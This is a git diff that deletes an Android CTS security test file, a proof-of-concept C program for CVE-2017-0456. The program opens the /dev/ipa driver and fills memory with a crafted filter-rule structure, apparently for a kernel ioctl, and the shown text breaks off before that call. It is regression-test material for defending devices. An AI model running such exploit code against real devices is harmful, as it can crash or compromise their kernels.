-include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2017-0456/poc.c b/hostsidetests/security/securityPatch/CVE-2017-0456/poc.c
deleted file mode 100644
index f5c0094..0000000
--- a/hostsidetests/security/securityPatch/CVE-2017-0456/poc.c
+++ /dev/null
@@ -1,564 +0,0 @@
-/**
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-#define _GNU_SOURCE
-#include <fcntl.h>
-#include <linux/ion.h>
-#include <pthread.h>
-#include <stdint.h>
-#include <string.h>
-#include <sys/mman.h>
-#include <sys/syscall.h>
-#include <sys/types.h>
-#include <sys/wait.h>
-#include <unistd.h>
-
-#define IPA_IOC_ADD_FLT_RULE 0xc008cf04ul
-
-int main() {
-  int fd;
-
-  fd = open("/dev/ipa", 0x0ul);
-
-  mmap((void *)0x20000000ul, 0xb000ul, 0x3ul, 0x32ul, (int)0xfffffffffffffffful,
-       0x0ul);
-  memcpy((void *)0x20000ff8, "\x2f\x64\x65\x76\x2f\x69\x70\x61\x00", 9);
-
-  *(uint8_t *)0x20002924 = (uint8_t)0x4;
-  *(uint32_t *)0x20002928 = (uint32_t)0x1;
-  *(uint32_t *)0x2000292c = (uint32_t)0x25;
-  *(uint8_t *)0x20002930 = (uint8_t)0xaf;
-  *(uint8_t *)0x20002931 = (uint8_t)0x5;
-  *(uint8_t *)0x20002934 = (uint8_t)0x3ff;
-  *(uint8_t *)0x20002935 = (uint8_t)0x3000;
-  *(uint32_t *)0x20002938 = (uint32_t)0x0;
-  *(uint32_t *)0x2000293c = (uint32_t)0x100000001;
-  *(uint32_t *)0x20002940 = (uint32_t)0xfff;
-  *(uint16_t *)0x20002944 = (uint16_t)0x10001;
-  *(uint16_t *)0x20002946 = (uint16_t)0x0;
-  *(uint16_t *)0x20002948 = (uint16_t)0x200;
-  *(uint16_t *)0x2000294a = (uint16_t)0x6;
-  *(uint8_t *)0x2000294c = (uint8_t)0x1ff;
-  *(uint8_t *)0x2000294d = (uint8_t)0x0;
-  *(uint8_t *)0x2000294e = (uint8_t)0x4;
-  *(uint8_t *)0x2000294f = (uint8_t)0x4;
-  *(uint32_t *)0x20002950 = (uint32_t)0x4;
-  *(uint16_t *)0x20002954 = (uint16_t)0x4;
-  *(uint16_t *)0x20002956 = (uint16_t)0x5;
-  *(uint32_t *)0x20002958 = (uint32_t)0xe1;
-  *(uint32_t *)0x2000295c = (uint32_t)0x2c3d1303cb45d134;
-  memcpy((void *)0x20002960, "\x85\x76\xe8\x3d\x34\x34", 6);
-  memcpy((void *)0x20002966, "\xc0\x65\x2e\x65\xde\x90", 6);
-  memcpy((void *)0x2000296c, "\x7f\x81\xef\x40\x5f\xa4", 6);
-  memcpy((void *)0x20002972, "\x14\xe8\xa5\x6c\x59\xf3", 6);
-  *(uint16_t *)0x20002978 = (uint16_t)0x7f;
-  *(uint8_t *)0x2000297a = (uint8_t)0x5;
-  *(uint32_t *)0x2000297c = (uint32_t)0x1;
-  *(uint8_t *)0x20002980 = (uint8_t)0x0;
-  *(uint32_t *)0x20002984 = (uint32_t)0x43;
-  *(uint32_t *)0x20002988 = (uint32_t)0x7fff;
-  *(uint32_t *)0x2000298c = (uint32_t)0x1;
-  *(uint32_t *)0x20002990 = (uint32_t)0xb2;
-  *(uint32_t *)0x20002994 = (uint32_t)0x4;
-  *(uint32_t *)0x20002998 = (uint32_t)0x0;
-  *(uint32_t *)0x2000299c = (uint32_t)0x80000000;
-  *(uint32_t *)0x200029a0 = (uint32_t)0x8;
-  *(uint32_t *)0x200029a4 = (uint32_t)0x4;
-  *(uint32_t *)0x200029a8 = (uint32_t)0xab;
-  *(uint32_t *)0x200029ac = (uint32_t)0x1;
-  *(uint32_t *)0x200029b0 = (uint32_t)0x101;
-  *(uint32_t *)0x200029b4 = (uint32_t)0x2;
-  *(uint32_t *)0x200029b8 = (uint32_t)0x170fdfa21d6c58f8;
-  *(uint32_t *)0x200029bc = (uint32_t)0x3dd2;
-  *(uint32_t *)0x200029c0 = (uint32_t)0x4;
-  *(uint16_t *)0x200029c4 = (uint16_t)0xafa1;
-  *(uint8_t *)0x200029c6 = (uint8_t)0x8;
-  *(uint8_t *)0x200029c7 = (uint8_t)0x7;
-  *(uint8_t *)0x200029c8 = (uint8_t)0x80000000;
-  *(uint8_t *)0x200029c9 = (uint8_t)0x100;
-  *(uint8_t *)0x200029ca = (uint8_t)0x7;
-  *(uint8_t *)0x200029cc = (uint8_t)0x6;
-  *(uint16_t *)0x200029ce = (uint16_t)0xbc1;
-  *(uint16_t *)0x200029d0 = (uint16_t)0x7f;
-  *(uint8_t *)0x200029d2 = (uint8_t)0x1;
-  *(uint16_t *)0x200029d4 = (uint16_t)0x8001;
-  *(uint16_t *)0x200029d6 = (uint16_t)0x0;
-  *(uint8_t *)0x200029d8 = (uint8_t)0x7;
-  *(uint8_t *)0x200029dc = (uint8_t)0x10000;
-  *(uint32_t *)0x200029e0 = (uint32_t)0x1f;
-  *(uint32_t *)0x200029e4 = (uint32_t)0x8001;
-  *(uint8_t *)0x200029e8 = (uint8_t)0x1;
-  *(uint32_t *)0x200029ec = (uint32_t)0x20;
-  *(uint32_t *)0x200029f0 = (uint32_t)0x96df;
-  *(uint8_t *)0x200029f4 = (uint8_t)0x3ff;
-  *(uint8_t *)0x200029f5 = (uint8_t)0x0;
-  *(uint8_t *)0x200029f6 = (uint8_t)0x34ee;
-  *(uint32_t *)0x200029f8 = (uint32_t)0x7e;
-  *(uint8_t *)0x200029fc = (uint8_t)0x9;
-  *(uint8_t *)0x200029fe = (uint8_t)0x3000000000;
-  *(uint16_t *)0x20002a00 = (uint16_t)0xf43e;
-  *(uint8_t *)0x20002a02 = (uint8_t)0x200;
-  *(uint8_t *)0x20002a04 = (uint8_t)0x9;
-  *(uint32_t *)0x20002a08 = (uint32_t)0x7ff;
-  *(uint8_t *)0x20002a0c = (uint8_t)0x7;
-  *(uint8_t *)0x20002a10 = (uint8_t)0x2;
-  *(uint32_t *)0x20002a14 = (uint32_t)0xe214;
-  *(uint32_t *)0x20002a18 = (uint32_t)0x8;
-  *(uint8_t *)0x20002a1c = (uint8_t)0x4b;
-  *(uint32_t *)0x20002a20 = (uint32_t)0x0;
-  *(uint32_t *)0x20002a24 = (uint32_t)0x1;
-  *(uint8_t *)0x20002a28 = (uint8_t)0x7;
-  *(uint8_t *)0x20002a29 = (uint8_t)0xffffffffffffff00;
-  memcpy((void *)0x20002a2a,
-         "\xfc\x27\xac\xe4\x96\x49\xb2\xf6\x0d\xbd\x51\x62\x5a\x6b\x3f\xda",
-         16);
-  memcpy((void *)0x20002a3a,
-         "\x19\x98\xc7\x34\xad\x27\x47\x85\xf1\xc7\x03\x87\xa2\x78\xba\x90",
-         16);
-  *(uint8_t *)0x20002a4a = (uint8_t)0x5;
-  memcpy((void *)0x20002a4b,
-         "\xf7\xfe\x5a\x93\x7e\x57\x1f\xd9\x22\x2a\xe9\xd3\x26\x97\xde\x2f",
-         16);
-  memcpy((void *)0x20002a5b,
-         "\xbc\xe1\x51\xd0\xba\x84\x15\xd0\x52\x62\x42\x02\x20\x30\x08\xeb",
-         16);
-  *(uint8_t *)0x20002a6b = (uint8_t)0x0;
-  *(uint8_t *)0x20002a6c = (uint8_t)0x2;
-  *(uint32_t *)0x20002a70 = (uint32_t)0x1;
-  *(uint32_t *)0x20002a74 = (uint32_t)0x0;
-  *(uint8_t *)0x20002a78 = (uint8_t)0x7;
-  *(uint32_t *)0x20002a7c = (uint32_t)0x7;
-  *(uint8_t *)0x20002a80 = (uint8_t)0x6;
-  *(uint8_t *)0x20002a84 = (uint8_t)0x3f;
-  *(uint32_t *)0x20002a88 = (uint32_t)0xa952;
-  *(uint32_t *)0x20002a8c = (uint32_t)0x5;
-  *(uint8_t *)0x20002a90 = (uint8_t)0x8000;
-  *(uint8_t *)0x20002a91 = (uint8_t)0x400;
-  *(uint32_t *)0x20002a94 = (uint32_t)0x0;
-  *(uint32_t *)0x20002a98 = (uint32_t)0xffff;
-  *(uint32_t *)0x20002a9c = (uint32_t)0x3;
-  *(uint16_t *)0x20002aa0 = (uint16_t)0x2400000000000;
-  *(uint16_t *)0x20002aa2 = (uint16_t)0x7fff;
-  *(uint16_t *)0x20002aa4 = (uint16_t)0x100000000;
-  *(uint16_t *)0x20002aa6 = (uint16_t)0xffffffffffffff68;
-  *(uint8_t *)0x20002aa8 = (uint8_t)0x7621;
-  *(uint8_t *)0x20002aa9 = (uint8_t)0x99;
-  *(uint8_t *)0x20002aaa = (uint8_t)0xefc3;
-  *(uint8_t *)0x20002aab = (uint8_t)0x7fff;
-  *(uint32_t *)0x20002aac = (uint32_t)0x1a845927;
-  *(uint16_t *)0x20002ab0 = (uint16_t)0xffffffffffffff01;
-  *(uint16_t *)0x20002ab2 = (uint16_t)0x4;
-  *(uint32_t *)0x20002ab4 = (uint32_t)0x3;
-  *(uint32_t *)0x20002ab8 = (uint32_t)0x8;
-  memcpy((void *)0x20002abc, "\xec\x77\x0a\x15\x35\xad", 6);
-  memcpy((void *)0x20002ac2, "\x50\x7a\x5c\x89\xda\x6d", 6);
-  memcpy((void *)0x20002ac8, "\x97\x95\x20\x35\x09\xee", 6);
-  memcpy((void *)0x20002ace, "\xd7\x6a\x47\xf0\xb1\x5a", 6);
-  *(uint16_t *)0x20002ad4 = (uint16_t)0x100000000000000;
-  *(uint8_t *)0x20002ad6 = (uint8_t)0xa000000000;
-  *(uint32_t *)0x20002ad8 = (uint32_t)0x40;
-  *(uint8_t *)0x20002adc = (uint8_t)0x20;
-  *(uint32_t *)0x20002ae0 = (uint32_t)0x0;
-  *(uint32_t *)0x20002ae4 = (uint32_t)0x0;
-  *(uint32_t *)0x20002ae8 = (uint32_t)0x6;
-  *(uint32_t *)0x20002aec = (uint32_t)0x8;
-  *(uint32_t *)0x20002af0 = (uint32_t)0x6;
-  *(uint32_t *)0x20002af4 = (uint32_t)0x0;
-  *(uint32_t *)0x20002af8 = (uint32_t)0x8;
-  *(uint32_t *)0x20002afc = (uint32_t)0x3;
-  *(uint32_t *)0x20002b00 = (uint32_t)0x8;
-  *(uint32_t *)0x20002b04 = (uint32_t)0x7;
-  *(uint32_t *)0x20002b08 = (uint32_t)0x7f;
-  *(uint32_t *)0x20002b0c = (uint32_t)0x6;
-  *(uint32_t *)0x20002b10 = (uint32_t)0x800;
-  *(uint32_t *)0x20002b14 = (uint32_t)0x24000000;
-  *(uint32_t *)0x20002b18 = (uint32_t)0x80000001;
-  *(uint32_t *)0x20002b1c = (uint32_t)0x1;
-  *(uint16_t *)0x20002b20 = (uint16_t)0x2;
-  *(uint8_t *)0x20002b22 = (uint8_t)0x80000000;
-  *(uint8_t *)0x20002b23 = (uint8_t)0x9;
-  *(uint8_t *)0x20002b24 = (uint8_t)0x7f;
-  *(uint8_t *)0x20002b25 = (uint8_t)0x9aa2;
-  *(uint8_t *)0x20002b26 = (uint8_t)0x80000001;
-  *(uint8_t *)0x20002b28 = (uint8_t)0x9;
-  *(uint16_t *)0x20002b2a = (uint16_t)0x7;
-  *(uint16_t *)0x20002b2c = (uint16_t)0x1;
-  *(uint8_t *)0x20002b2e = (uint8_t)0x7;
-  *(uint16_t *)0x20002b30 = (uint16_t)0x4;
-  *(uint16_t *)0x20002b32 = (uint16_t)0x9;
-  *(uint8_t *)0x20002b34 = (uint8_t)0x3;
-  *(uint8_t *)0x20002b38 = (uint8_t)0x80000000;
-  *(uint32_t *)0x20002b3c = (uint32_t)0xbe;
-  *(uint32_t *)0x20002b40 = (uint32_t)0x10001;
-  *(uint8_t *)0x20002b44 = (uint8_t)0x8;
-  *(uint32_t *)0x20002b48 = (uint32_t)0x0;
-  *(uint32_t *)0x20002b4c = (uint32_t)0x6;
-  *(uint8_t *)0x20002b50 = (uint8_t)0xe83c;
-  *(uint8_t *)0x20002b51 = (uint8_t)0x9dec;
-  *(uint8_t *)0x20002b52 = (uint8_t)0x100000000000000;
-  *(uint32_t *)0x20002b54 = (uint32_t)0x0;
-  *(uint8_t *)0x20002b58 = (uint8_t)0x4;
-  *(uint8_t *)0x20002b5a = (uint8_t)0x10001;
-  *(uint16_t *)0x20002b5c = (uint16_t)0x14000000000000;
-  *(uint8_t *)0x20002b5e = (uint8_t)0x6;
-  *(uint8_t *)0x20002b60 = (uint8_t)0x9000000;
-  *(uint32_t *)0x20002b64 = (uint32_t)0x100000000;
-  *(uint8_t *)0x20002b68 = (uint8_t)0x0;
-  *(uint8_t *)0x20002b6c = (uint8_t)0x6;
-  *(uint32_t *)0x20002b70 = (uint32_t)0x6;
-  *(uint32_t *)0x20002b74 = (uint32_t)0x80000001;
-  *(uint8_t *)0x20002b78 = (uint8_t)0x10001;
-  *(uint32_t *)0x20002b7c = (uint32_t)0x2;
-  *(uint32_t *)0x20002b80 = (uint32_t)0x101;
-  *(uint8_t *)0x20002b84 = (uint8_t)0x115;
-  *(uint8_t *)0x20002b85 = (uint8_t)0x5;
-  memcpy((void *)0x20002b86,
-         "\x10\x72\x8f\xb9\x7d\xe9\x33\x19\x3d\x81\xc1\x54\x31\x91\x1e\xac",
-         16);
-  memcpy((void *)0x20002b96,
-         "\xcd\x33\x9b\x13\xdc\x4b\xfe\x81\xbf\x15\xaa\x54\xe6\x8f\x9c\xad",
-         16);
-  *(uint8_t *)0x20002ba6 = (uint8_t)0x1;
-  memcpy((void *)0x20002ba7,
-         "\x08\xf8\x09\x5e\x9c\x9a\xc5\x02\xaa\xc8\xf0\x53\x55\xb3\x72\x3b",
-         16);
-  memcpy((void *)0x20002bb7,
-         "\x32\xe2\x81\xed\x29\x5a\xbb\xfb\xe3\x98\x81\xa5\x00\x09\x5b\x0b",
-         16);
-  *(uint8_t *)0x20002bc7 = (uint8_t)0x3ff;
-  *(uint8_t *)0x20002bc8 = (uint8_t)0x10000;
-  *(uint32_t *)0x20002bcc = (uint32_t)0x68;
-  *(uint32_t *)0x20002bd0 = (uint32_t)0x9;
-  *(uint8_t *)0x20002bd4 = (uint8_t)0x8;
-  *(uint32_t *)0x20002bd8 = (uint32_t)0x40;
-  *(uint8_t *)0x20002bdc = (uint8_t)0x9;
-  *(uint8_t *)0x20002be0 = (uint8_t)0x7fff;
-  *(uint32_t *)0x20002be4 = (uint32_t)0x101;
-  *(uint32_t *)0x20002be8 = (uint32_t)0x5;
-  *(uint8_t *)0x20002bec = (uint8_t)0xae1;
-  *(uint8_t *)0x20002bed = (uint8_t)0x5;
-  *(uint32_t *)0x20002bf0 = (uint32_t)0x1;
-  *(uint32_t *)0x20002bf4 = (uint32_t)0x8;
-  *(uint32_t *)0x20002bf8 = (uint32_t)0xc7;
-  *(uint16_t *)0x20002bfc = (uint16_t)0x6;
-  *(uint16_t *)0x20002bfe = (uint16_t)0x8;
-  *(uint16_t *)0x20002c00 = (uint16_t)0x200;
-  *(uint16_t *)0x20002c02 = (uint16_t)0x7;
-  *(uint8_t *)0x20002c04 = (uint8_t)0x7fff;
-  *(uint8_t *)0x20002c05 = (uint8_t)0x7;
-  *(uint8_t *)0x20002c06 = (uint8_t)0x6;
-  *(uint8_t *)0x20002c07 = (uint8_t)0xe265;
-  *(uint32_t *)0x20002c08 = (uint32_t)0x7fff;
-  *(uint16_t *)0x20002c0c = (uint16_t)0x8;
-  *(uint16_t *)0x20002c0e = (uint16_t)0x0;
-  *(uint32_t *)0x20002c10 = (uint32_t)0x87;
-  *(uint32_t *)0x20002c14 = (uint32_t)0x1;
-  memcpy((void *)0x20002c18, "\xef\x8f\x03\xa7\x08\xdc", 6);
-  memcpy((void *)0x20002c1e, "\x7a\x29\x68\x4b\x0c\x99", 6);
-  memcpy((void *)0x20002c24, "\x51\x62\x84\x9a\xfc\xd6", 6);
-  memcpy((void *)0x20002c2a, "\x53\x67\x6b\x3c\x42\x3c", 6);
-  *(uint16_t *)0x20002c30 = (uint16_t)0x6;
-  *(uint8_t *)0x20002c32 = (uint8_t)0x1;
-  *(uint32_t *)0x20002c34 = (uint32_t)0x1;
-  *(uint8_t *)0x20002c38 = (uint8_t)0x1ff;
-  *(uint32_t *)0x20002c3c = (uint32_t)0x8360;
-  *(uint32_t *)0x20002c40 = (uint32_t)0x81;
-  *(uint32_t *)0x20002c44 = (uint32_t)0x4;
-  *(uint32_t *)0x20002c48 = (uint32_t)0x80;
-  *(uint32_t *)0x20002c4c = (uint32_t)0x3;
-  *(uint32_t *)0x20002c50 = (uint32_t)0x1f;
-  *(uint32_t *)0x20002c54 = (uint32_t)0x100000000;
-  *(uint32_t *)0x20002c58 = (uint32_t)0x400;
-  *(uint32_t *)0x20002c5c = (uint32_t)0x7;
-  *(uint32_t *)0x20002c60 = (uint32_t)0x7b;
-  *(uint32_t *)0x20002c64 = (uint32_t)0xe6ae;
-  *(uint32_t *)0x20002c68 = (uint32_t)0x21;
-  *(uint32_t *)0x20002c6c = (uint32_t)0x0;
-  *(uint32_t *)0x20002c70 = (uint32_t)0x6;
-  *(uint32_t *)0x20002c74 = (uint32_t)0x8;
-  *(uint32_t *)0x20002c78 = (uint32_t)0x8;
-  *(uint16_t *)0x20002c7c = (uint16_t)0x6;
-  *(uint8_t *)0x20002c7e = (uint8_t)0xff;
-  *(uint8_t *)0x20002c7f = (uint8_t)0xffffffffffffeb4d;
-  *(uint8_t *)0x20002c80 = (uint8_t)0x0;
-  *(uint8_t *)0x20002c81 = (uint8_t)0xa46;
-  *(uint8_t *)0x20002c82 = (uint8_t)0x6;
-  *(uint8_t *)0x20002c84 = (uint8_t)0x101;
-  *(uint16_t *)0x20002c86 = (uint16_t)0x6;
-  *(uint16_t *)0x20002c88 = (uint16_t)0x3;
-  *(uint8_t *)0x20002c8a = (uint8_t)0x0;
-  *(uint16_t *)0x20002c8c = (uint16_t)0xed;
-  *(uint16_t *)0x20002c8e = (uint16_t)0x9;
-  *(uint8_t *)0x20002c90 = (uint8_t)0x6;
-  *(uint8_t *)0x20002c94 = (uint8_t)0x5;
-  *(uint32_t *)0x20002c98 = (uint32_t)0x6;
-  *(uint32_t *)0x20002c9c = (uint32_t)0x6;
-  *(uint8_t *)0x20002ca0 = (uint8_t)0x3;
-  *(uint32_t *)0x20002ca4 = (uint32_t)0xff;
-  *(uint32_t *)0x20002ca8 = (uint32_t)0x80000000;
-  *(uint8_t *)0x20002cac = (uint8_t)0x40;
-  *(uint8_t *)0x20002cad = (uint8_t)0x200;
-  *(uint8_t *)0x20002cae = (uint8_t)0x9;
-  *(uint32_t *)0x20002cb0 = (uint32_t)0x1;
-  *(uint8_t *)0x20002cb4 = (uint8_t)0x2;
-  *(uint8_t *)0x20002cb6 = (uint8_t)0x2;
-  *(uint16_t *)0x20002cb8 = (uint16_t)0xda9c;
-  *(uint8_t *)0x20002cba = (uint8_t)0x2;
-  *(uint8_t *)0x20002cbc = (uint8_t)0xe8b;
-  *(uint32_t *)0x20002cc0 = (uint32_t)0x9;
-  *(uint8_t *)0x20002cc4 = (uint8_t)0x7fffffff;
-  *(uint8_t *)0x20002cc8 = (uint8_t)0x68f;
-  *(uint32_t *)0x20002ccc = (uint32_t)0xf32;
-  *(uint32_t *)0x20002cd0 = (uint32_t)0x6;
-  *(uint8_t *)0x20002cd4 = (uint8_t)0x4;
-  *(uint32_t *)0x20002cd8 = (uint32_t)0x7;
-  *(uint32_t *)0x20002cdc = (uint32_t)0xb9;
-  *(uint8_t *)0x20002ce0 = (uint8_t)0xf6d;
-  *(uint8_t *)0x20002ce1 = (uint8_t)0x3;
-  memcpy((void *)0x20002ce2,
-         "\x09\xb3\xdd\xd0\xb5\xb4\xa8\x63\xe2\xb4\x86\x02\xef\x48\x4e\xd1",
-         16);
-  memcpy((void *)0x20002cf2,
-         "\x32\x86\x0e\xe4\x37\x55\x8e\xb0\xc7\x25\x05\xa2\x4a\xe1\x96\x42",
-         16);
-  *(uint8_t *)0x20002d02 = (uint8_t)0xffff;
-  memcpy((void *)0x20002d03,
-         "\xa6\x9d\x8b\x67\xa6\x13\x60\x4f\x9a\x76\x00\x0c\xb3\x91\xae\x91",
-         16);
-  memcpy((void *)0x20002d13,
-         "\xa3\x7a\xc4\xce\x72\x04\x46\x6d\xfc\x74\x80\x4d\x9f\xca\x67\x16",
-         16);
-  *(uint8_t *)0x20002d23 = (uint8_t)0x3;
-  *(uint8_t *)0x20002d24 = (uint8_t)0x6;
-  *(uint32_t *)0x20002d28 = (uint32_t)0x100000000;
-  *(uint32_t *)0x20002d2c = (uint32_t)0x100000001;
-  *(uint8_t *)0x20002d30 = (uint8_t)0x100000001;
-  *(uint32_t *)0x20002d34 = (uint32_t)0x401;
-  *(uint8_t *)0x20002d38 = (uint8_t)0x8;
-  *(uint8_t *)0x20002d3c = (uint8_t)0x5;
-  *(uint32_t *)0x20002d40 = (uint32_t)0x1;
-  *(uint32_t *)0x20002d44 = (uint32_t)0x5;
-  *(uint8_t *)0x20002d48 = (uint8_t)0x7fffffff;
-  *(uint8_t *)0x20002d49 = (uint8_t)0x80;
-  *(uint32_t *)0x20002d4c = (uint32_t)0x0;
-  *(uint32_t *)0x20002d50 = (uint32_t)0xff;
-  *(uint32_t *)0x20002d54 = (uint32_t)0x4;
-  *(uint16_t *)0x20002d58 = (uint16_t)0x4;
-  *(uint16_t *)0x20002d5a = (uint16_t)0x4;
-  *(uint16_t *)0x20002d5c = (uint16_t)0x1;
-  *(uint16_t *)0x20002d5e = (uint16_t)0x3d;
-  *(uint8_t *)0x20002d60 = (uint8_t)0x7fffffff;
-  *(uint8_t *)0x20002d61 = (uint8_t)0x40;
-  *(uint8_t *)0x20002d62 = (uint8_t)0x8;
-  *(uint8_t *)0x20002d63 = (uint8_t)0x2ff;
-  *(uint32_t *)0x20002d64 = (uint32_t)0x3;
-  *(uint16_t *)0x20002d68 = (uint16_t)0x5;
-  *(uint16_t *)0x20002d6a = (uint16_t)0x0;
-  *(uint32_t *)0x20002d6c = (uint32_t)0x2;
-  *(uint32_t *)0x20002d70 = (uint32_t)0x81;
-  memcpy((void *)0x20002d74, "\xe5\xf2\x2c\xb3\xfa\x1b", 6);
-  memcpy((void *)0x20002d7a, "\xe7\x1f\xae\x9f\x54\x33", 6);
-  memcpy((void *)0x20002d80, "\x6a\xfc\x62\x48\x89\x90", 6);
-  memcpy((void *)0x20002d86, "\xbd\x61\x79\x87\xe4\x24", 6);
-  *(uint16_t *)0x20002d8c = (uint16_t)0xfffffffffffffffa;
-  *(uint8_t *)0x20002d8e = (uint8_t)0x2;
-  *(uint32_t *)0x20002d90 = (uint32_t)0x8;
-  *(uint8_t *)0x20002d94 = (uint8_t)0x1;
-  *(uint32_t *)0x20002d98 = (uint32_t)0xffffffffffff7fff;
-  *(uint32_t *)0x20002d9c = (uint32_t)0x401;
-  *(uint32_t *)0x20002da0 = (uint32_t)0x9;
-  *(uint32_t *)0x20002da4 = (uint32_t)0x2;
-  *(uint32_t *)0x20002da8 = (uint32_t)0x4;
-  *(uint32_t *)0x20002dac = (uint32_t)0x69;
-  *(uint32_t *)0x20002db0 = (uint32_t)0x8;
-  *(uint32_t *)0x20002db4 = (uint32_t)0x6;
-  *(uint32_t *)0x20002db8 = (uint32_t)0x7fff;
-  *(uint32_t *)0x20002dbc = (uint32_t)0x4;
-  *(uint32_t *)0x20002dc0 = (uint32_t)0x7fffffff;
-  *(uint32_t *)0x20002dc4 = (uint32_t)0x80;
-  *(uint32_t *)0x20002dc8 = (uint32_t)0x100;
-  *(uint32_t *)0x20002dcc = (uint32_t)0x2;
-  *(uint32_t *)0x20002dd0 = (uint32_t)0x7;
-  *(uint32_t *)0x20002dd4 = (uint32_t)0x4;
-  *(uint16_t *)0x20002dd8 = (uint16_t)0x6;
-  *(uint8_t *)0x20002dda = (uint8_t)0x10000;
-  *(uint8_t *)0x20002ddb = (uint8_t)0x0;
-  *(uint8_t *)0x20002ddc = (uint8_t)0xff;
-  *(uint8_t *)0x20002ddd = (uint8_t)0x9;
-  *(uint8_t *)0x20002dde = (uint8_t)0x10001;
-  *(uint8_t *)0x20002de0 = (uint8_t)0x8;
-  *(uint16_t *)0x20002de2 = (uint16_t)0x100;
-  *(uint16_t *)0x20002de4 = (uint16_t)0xffffffff80000001;
-  *(uint8_t *)0x20002de6 = (uint8_t)0x8000;
-  *(uint16_t *)0x20002de8 = (uint16_t)0x101;
-  *(uint16_t *)0x20002dea = (uint16_t)0x10001;
-  *(uint8_t *)0x20002dec = (uint8_t)0x101;
-  *(uint8_t *)0x20002df0 = (uint8_t)0x20000000000000;
-  *(uint32_t *)0x20002df4 = (uint32_t)0xe376;
-  *(uint32_t *)0x20002df8 = (uint32_t)0x9;
-  *(uint8_t *)0x20002dfc = (uint8_t)0x80000001;
-  *(uint32_t *)0x20002e00 = (uint32_t)0x4d6;
-  *(uint32_t *)0x20002e04 = (uint32_t)0x9;
-  *(uint8_t *)0x20002e08 = (uint8_t)0x1ff;
-  *(uint8_t *)0x20002e09 = (uint8_t)0x4;
-  *(uint8_t *)0x20002e0a = (uint8_t)0x0;
-  *(uint32_t *)0x20002e0c = (uint32_t)0xa0000000;
-  *(uint8_t *)0x20002e10 = (uint8_t)0x100000001;
-  *(uint8_t *)0x20002e12 = (uint8_t)0xa9db;
-  *(uint16_t *)0x20002e14 = (uint16_t)0x2;
-  *(uint8_t *)0x20002e16 = (uint8_t)0x9;
-  *(uint8_t *)0x20002e18 = (uint8_t)0x80;
-  *(uint32_t *)0x20002e1c = (uint32_t)0x6;
-  *(uint8_t *)0x20002e20 = (uint8_t)0x6;
-  *(uint8_t *)0x20002e24 = (uint8_t)0x9;
-  *(uint32_t *)0x20002e28 = (uint32_t)0x7c07;
-  *(uint32_t *)0x20002e2c = (uint32_t)0x80000000;
-  *(uint8_t *)0x20002e30 = (uint8_t)0x5;
-  *(uint32_t *)0x20002e34 = (uint32_t)0xd473;
-  *(uint32_t *)0x20002e38 = (uint32_t)0x7;
-  *(uint8_t *)0x20002e3c = (uint8_t)0xfffffffffffffff9;
-  *(uint8_t *)0x20002e3d = (uint8_t)0x7f;
-  memcpy((void *)0x20002e3e,
-         "\xaf\x0c\xe8\xf6\xb5\xd9\x88\x44\xa7\xbd\x6f\xf3\x39\x73\x14\xf4",
-         16);
-  memcpy((void *)0x20002e4e,
-         "\xd5\x09\x71\xb6\xe9\x72\x21\x95\xd5\x7c\xb1\x05\x94\x0d\xca\xb8",
-         16);
-  *(uint8_t *)0x20002e5e = (uint8_t)0xbc1c;
-  memcpy((void *)0x20002e5f,
-         "\x75\xe0\x8a\xb8\x09\xa5\x46\x75\xcd\x3f\xb3\x5c\x7c\x53\xac\x15",
-         16);
-  memcpy((void *)0x20002e6f,
-         "\xb4\xa2\x0c\x99\x8f\x06\x34\x66\x53\x2b\xe0\x75\x21\x86\x0f\xdb",
-         16);
-  *(uint8_t *)0x20002e7f = (uint8_t)0x88;
-  *(uint8_t *)0x20002e80 = (uint8_t)0x1;
-  *(uint32_t *)0x20002e84 = (uint32_t)0xa1;
-  *(uint32_t *)0x20002e88 = (uint32_t)0x200;
-  *(uint8_t *)0x20002e8c = (uint8_t)0x20;
-  *(uint32_t *)0x20002e90 = (uint32_t)0x6;
-  *(uint8_t *)0x20002e94 = (uint8_t)0xea;
-  *(uint8_t *)0x20002e98 = (uint8_t)0x10000;
-  *(uint32_t *)0x20002e9c = (uint32_t)0x6;
-  *(uint32_t *)0x20002ea0 = (uint32_t)0x7d;
-  *(uint8_t *)0x20002ea4 = (uint8_t)0x0;
-  *(uint8_t *)0x20002ea5 = (uint8_t)0x8001;
-  *(uint32_t *)0x20002ea8 = (uint32_t)0x0;
-  *(uint32_t *)0x20002eac = (uint32_t)0x7fffffff;
-  *(uint32_t *)0x20002eb0 = (uint32_t)0x204fec542d605987;
-  *(uint16_t *)0x20002eb4 = (uint16_t)0x6;
-  *(uint16_t *)0x20002eb6 = (uint16_t)0xffffffffffff8000;
-  *(uint16_t *)0x20002eb8 = (uint16_t)0x3ff;
-  *(uint16_t *)0x20002eba = (uint16_t)0x8000;
-  *(uint8_t *)0x20002ebc = (uint8_t)0x4;
-  *(uint8_t *)0x20002ebd = (uint8_t)0x80000001;
-  *(uint8_t *)0x20002ebe = (uint8_t)0x0;
-  *(uint8_t *)0x20002ebf = (uint8_t)0xfffffffffffffff9;
-  *(uint32_t *)0x20002ec0 = (uint32_t)0x200;
-  *(uint16_t *)0x20002ec4 = (uint16_t)0x4;
-  *(uint16_t *)0x20002ec6 = (uint16_t)0x4;
-  *(uint32_t *)0x20002ec8 = (uint32_t)0x4;
-  *(uint32_t *)0x20002ecc = (uint32_t)0xffffffff80000000;
-  memcpy((void *)0x20002ed0, "\xcc\x25\x2d\xec\x43\xe0", 6);
-  memcpy((void *)0x20002ed6, "\x85\x93\x52\x18\xcc\x56", 6);
-  memcpy((void *)0x20002edc, "\xf2\xb6\x86\x04\x46\xec", 6);
-  memcpy((void *)0x20002ee2, "\x70\x06\xb1\xfd\x68\xa5", 6);
-  *(uint16_t *)0x20002ee8 = (uint16_t)0x1000;
-  *(uint8_t *)0x20002eea = (uint8_t)0x0;
-  *(uint32_t *)0x20002eec = (uint32_t)0xbbd8;
-  *(uint8_t *)0x20002ef0 = (uint8_t)0x3;
-  *(uint32_t *)0x20002ef4 = (uint32_t)0x8;
-  *(uint32_t *)0x20002ef8 = (uint32_t)0x100;
